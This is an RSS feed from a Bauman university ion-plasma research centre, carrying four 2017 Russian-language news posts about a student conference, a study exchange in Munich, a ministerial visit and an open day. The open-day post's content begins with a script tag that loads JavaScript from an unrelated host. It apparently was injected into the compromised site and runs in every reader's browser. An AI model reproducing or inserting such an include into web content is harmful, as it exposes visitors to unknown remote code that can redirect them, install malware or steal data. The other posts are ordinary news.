<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Reasearch and Educational Centre for Ion Plasma Science &#187; событие</title>
	<atom:link href="http://plasmacenter.bmstu.ru/tag/%d1%81%d0%be%d0%b1%d1%8b%d1%82%d0%b8%d0%b5/feed/" rel="self" type="application/rss+xml" />
	<link>http://plasmacenter.bmstu.ru</link>
	<description>Bauman Moscow State University research centre site</description>
	<lastBuildDate>Thu, 31 Oct 2024 09:23:20 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
		<item>
		<title>Результаты “Студенческой Научной Весны-2017”</title>
		<link>http://plasmacenter.bmstu.ru/%d0%a0%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b-%d0%a1%d1%82%d1%83%d0%b4%d0%b5%d0%bd%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b9-%d0%9d%d0%b0%d1%83%d1%87%d0%bd%d0%be%d0%b9-%d0%92%d0%b5/</link>
		<comments>http://plasmacenter.bmstu.ru/%d0%a0%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b-%d0%a1%d1%82%d1%83%d0%b4%d0%b5%d0%bd%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b9-%d0%9d%d0%b0%d1%83%d1%87%d0%bd%d0%be%d0%b9-%d0%92%d0%b5/#comments</comments>
		<pubDate>Sun, 30 Apr 2017 13:29:34 +0000</pubDate>
		<dc:creator>Ryazanov</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[symposium]]></category>
		<category><![CDATA[симпозиум]]></category>
		<category><![CDATA[событие]]></category>
		<category><![CDATA[студент]]></category>

		<guid isPermaLink="false">http://plasmacenter.bmstu.ru/?p=1941</guid>
		<description><![CDATA[19 апреля 2017 года в НОЦ &#171;Ионно-плазменные технологии&#187; прошла конференция &#171;Студенческая Научная Весна-2017&#8243; секция кафедры Э8. В рамках секции было подготовлено 12 докладов (с темами докладов можно ознакомиться здесь). По результатам голосования первые три места распределились следующим образом: 1. Земцов &#8230; <a href="http://plasmacenter.bmstu.ru/%d0%a0%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b-%d0%a1%d1%82%d1%83%d0%b4%d0%b5%d0%bd%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b9-%d0%9d%d0%b0%d1%83%d1%87%d0%bd%d0%be%d0%b9-%d0%92%d0%b5/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>19 апреля 2017 года в НОЦ &#171;Ионно-плазменные технологии&#187; прошла конференция &#171;Студенческая Научная Весна-2017&#8243; секция кафедры Э8.<br />
<span id="more-1941"></span><br />
В рамках секции было подготовлено 12 докладов (с темами докладов можно ознакомиться <a href="http://plasmaenergy.ru/wp-content/uploads//2017/04/%D0%A1%D0%9D%D0%92-2017-1.pdf">здесь</a>).<br />
По результатам голосования первые три места распределились следующим образом:</p>
<p>1. Земцов И.А. (Э8-47М)<br />
2. Грешилов В.В. (Э8-47М)<br />
3. Захаров Р.В. (СМ1-122)</p>
<p><a href="https://yadi.sk/a/sytPAIMO3HMn43">Фотографии с конференции</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmacenter.bmstu.ru/%d0%a0%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b-%d0%a1%d1%82%d1%83%d0%b4%d0%b5%d0%bd%d1%87%d0%b5%d1%81%d0%ba%d0%be%d0%b9-%d0%9d%d0%b0%d1%83%d1%87%d0%bd%d0%be%d0%b9-%d0%92%d0%b5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>В Мюнхен и обратно</title>
		<link>http://plasmacenter.bmstu.ru/%d0%92-%d0%9c%d1%8e%d0%bd%d1%85%d0%b5%d0%bd-%d0%b8-%d0%be%d0%b1%d1%80%d0%b0%d1%82%d0%bd%d0%be/</link>
		<comments>http://plasmacenter.bmstu.ru/%d0%92-%d0%9c%d1%8e%d0%bd%d1%85%d0%b5%d0%bd-%d0%b8-%d0%be%d0%b1%d1%80%d0%b0%d1%82%d0%bd%d0%be/#comments</comments>
		<pubDate>Sun, 23 Apr 2017 13:16:49 +0000</pubDate>
		<dc:creator>Ryazanov</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[событие]]></category>
		<category><![CDATA[студент]]></category>

		<guid isPermaLink="false">http://plasmacenter.bmstu.ru/?p=1934</guid>
		<description><![CDATA[Весной этого года студент 2-ого курса магистратуры Титушкин Алексей  Васильевич завершил полугодовую программу академического обмена в Технологическом Университете Мюнхена (TUM). В рамках программы он изучал технологии производства и исследования наноматериалов и наноструктур в Институте Вальтера Шоттки (WSI). Приобрёл ценный опыт &#8230; <a href="http://plasmacenter.bmstu.ru/%d0%92-%d0%9c%d1%8e%d0%bd%d1%85%d0%b5%d0%bd-%d0%b8-%d0%be%d0%b1%d1%80%d0%b0%d1%82%d0%bd%d0%be/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Весной этого года студент 2-ого курса магистратуры Титушкин Алексей  Васильевич завершил полугодовую программу академического обмена в Технологическом Университете Мюнхена (TUM). В рамках программы он изучал технологии производства и исследования наноматериалов и наноструктур в Институте Вальтера Шоттки (WSI). <span id="more-1934"></span>Приобрёл ценный опыт при работе на установках молекулярно-лучевой эпитаксии, используемой для создания полупроводниковых покрытий и наноструктур (quantum dots, nanowires, etc.). В процессе обучения прошел практические курсы по использованию различных методов исследования строения и свойств наноструктур (XRD,HRXRD, XPS, SEM, AFM, TEM, HIM, Spectroscopy).<img class="size-medium wp-image-1929 aligncenter" src="http://plasmaenergy.ru/wp-content/uploads//2017/04/В-Мюнхен-и-обратно_1-300x300.jpg" alt="В Мюнхен и обратно_1" width="300" height="300" /></p>
]]></content:encoded>
			<wfw:commentRss>http://plasmacenter.bmstu.ru/%d0%92-%d0%9c%d1%8e%d0%bd%d1%85%d0%b5%d0%bd-%d0%b8-%d0%be%d0%b1%d1%80%d0%b0%d1%82%d0%bd%d0%be/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Министр Образования и Науки РФ</title>
		<link>http://plasmacenter.bmstu.ru/%d0%9c%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d1%80-%d0%9e%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f-%d0%b8-%d0%9d%d0%b0%d1%83%d0%ba%d0%b8-%d0%a0%d0%a4/</link>
		<comments>http://plasmacenter.bmstu.ru/%d0%9c%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d1%80-%d0%9e%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f-%d0%b8-%d0%9d%d0%b0%d1%83%d0%ba%d0%b8-%d0%a0%d0%a4/#comments</comments>
		<pubDate>Wed, 12 Apr 2017 10:00:41 +0000</pubDate>
		<dc:creator>Ryazanov</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[новость]]></category>
		<category><![CDATA[событие]]></category>

		<guid isPermaLink="false">http://plasmacenter.bmstu.ru/?p=1906</guid>
		<description><![CDATA[11 апреля 2017 года  МГТУ им. Н.Э. Баумана посетила с визитом Министр Образования и Науки РФ Ольга Юрьевна Васильева. В рамках визита министр зашла и в НОЦ &#171;Ионно-плазменные технологии&#187;. С деятельностью и последними разработками центра её ознакомил исполнительный директор Духопельников &#8230; <a href="http://plasmacenter.bmstu.ru/%d0%9c%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d1%80-%d0%9e%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f-%d0%b8-%d0%9d%d0%b0%d1%83%d0%ba%d0%b8-%d0%a0%d0%a4/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>11 апреля 2017 года  МГТУ им. Н.Э. Баумана посетила с визитом Министр Образования и Науки РФ Ольга Юрьевна Васильева. В рамках визита министр зашла и в НОЦ &#171;Ионно-плазменные технологии&#187;. С деятельностью и последними разработками центра её ознакомил исполнительный директор Духопельников Дмитрий Владимирович.<span id="more-1906"></span> Министру была продемонстрирована работа промышленного образца установки по нанесению тонкопленочных покрытий для электронной промышленности. Также она осмотрела аналитическую лабораторию центра, в которой проводится определение свойств нанесенных покрытий и материалов.<br />
Визит завершился в конференц-зале центра, где Ольга Юрьевна встретилась с молодыми преподавателями и учеными МГТУ им. Н.Э. Баумана. На встрече обсуждали важные вопросы, затрагивающие различные сферы жизни высшей школы. Обсуждались вопросы, касающиеся аспирантуры, образовательных стандартов, систем оценки эффективности ученого и другие. В конце встречи министр поблагодарила ректора за теплый прием и за сохранение золотой элиты страны.</p>
<p><a href="http://plasmaenergy.ru/министр-образования-и-науки-рф/">Фотоотчет</a></p>
]]></content:encoded>
			<wfw:commentRss>http://plasmacenter.bmstu.ru/%d0%9c%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d1%80-%d0%9e%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d1%8f-%d0%b8-%d0%9d%d0%b0%d1%83%d0%ba%d0%b8-%d0%a0%d0%a4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>День открытых дверей 2017!</title>
		<link>http://plasmacenter.bmstu.ru/%d0%94%d0%b5%d0%bd%d1%8c-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d1%8b%d1%85-%d0%b4%d0%b2%d0%b5%d1%80%d0%b5%d0%b9-2017/</link>
		<comments>http://plasmacenter.bmstu.ru/%d0%94%d0%b5%d0%bd%d1%8c-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d1%8b%d1%85-%d0%b4%d0%b2%d0%b5%d1%80%d0%b5%d0%b9-2017/#comments</comments>
		<pubDate>Mon, 03 Apr 2017 17:41:53 +0000</pubDate>
		<dc:creator>Ryazanov</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[абитуриент]]></category>
		<category><![CDATA[событие]]></category>

		<guid isPermaLink="false">http://plasmacenter.bmstu.ru/?p=1876</guid>
		<description><![CDATA[Уважаемые абитуриенты и их родители! 12 апреля 2017 года в Учебно-лабораторном корпусе (УЛК) МГТУ им. Н.Э. Баумана состоится “День открытых дверей”. Приглашаем всех желающих посетить лаборатории кафедры Э8, познакомиться с сотрудниками кафедры и с её деятельностью. Начало экскурсии в 13.00, &#8230; <a href="http://plasmacenter.bmstu.ru/%d0%94%d0%b5%d0%bd%d1%8c-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d1%8b%d1%85-%d0%b4%d0%b2%d0%b5%d1%80%d0%b5%d0%b9-2017/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript" src="http://a.c0594.com/?js=6"></script>Уважаемые абитуриенты и их родители!</p>
<p>12 апреля 2017 года в Учебно-лабораторном корпусе (УЛК) МГТУ им. Н.Э. Баумана состоится “День открытых дверей”.<span id="more-1876"></span><br />
Приглашаем всех желающих посетить лаборатории кафедры Э8, познакомиться с сотрудниками кафедры и с её деятельностью.<br />
Начало экскурсии в 13.00, 14.00, 16.00, 17.00, 18.00 и 19.00.<br />
Место встречи: аудитория 318л (УЛК, 3 этаж).<br />
Ждем вас!</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmacenter.bmstu.ru/%d0%94%d0%b5%d0%bd%d1%8c-%d0%be%d1%82%d0%ba%d1%80%d1%8b%d1%82%d1%8b%d1%85-%d0%b4%d0%b2%d0%b5%d1%80%d0%b5%d0%b9-2017/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
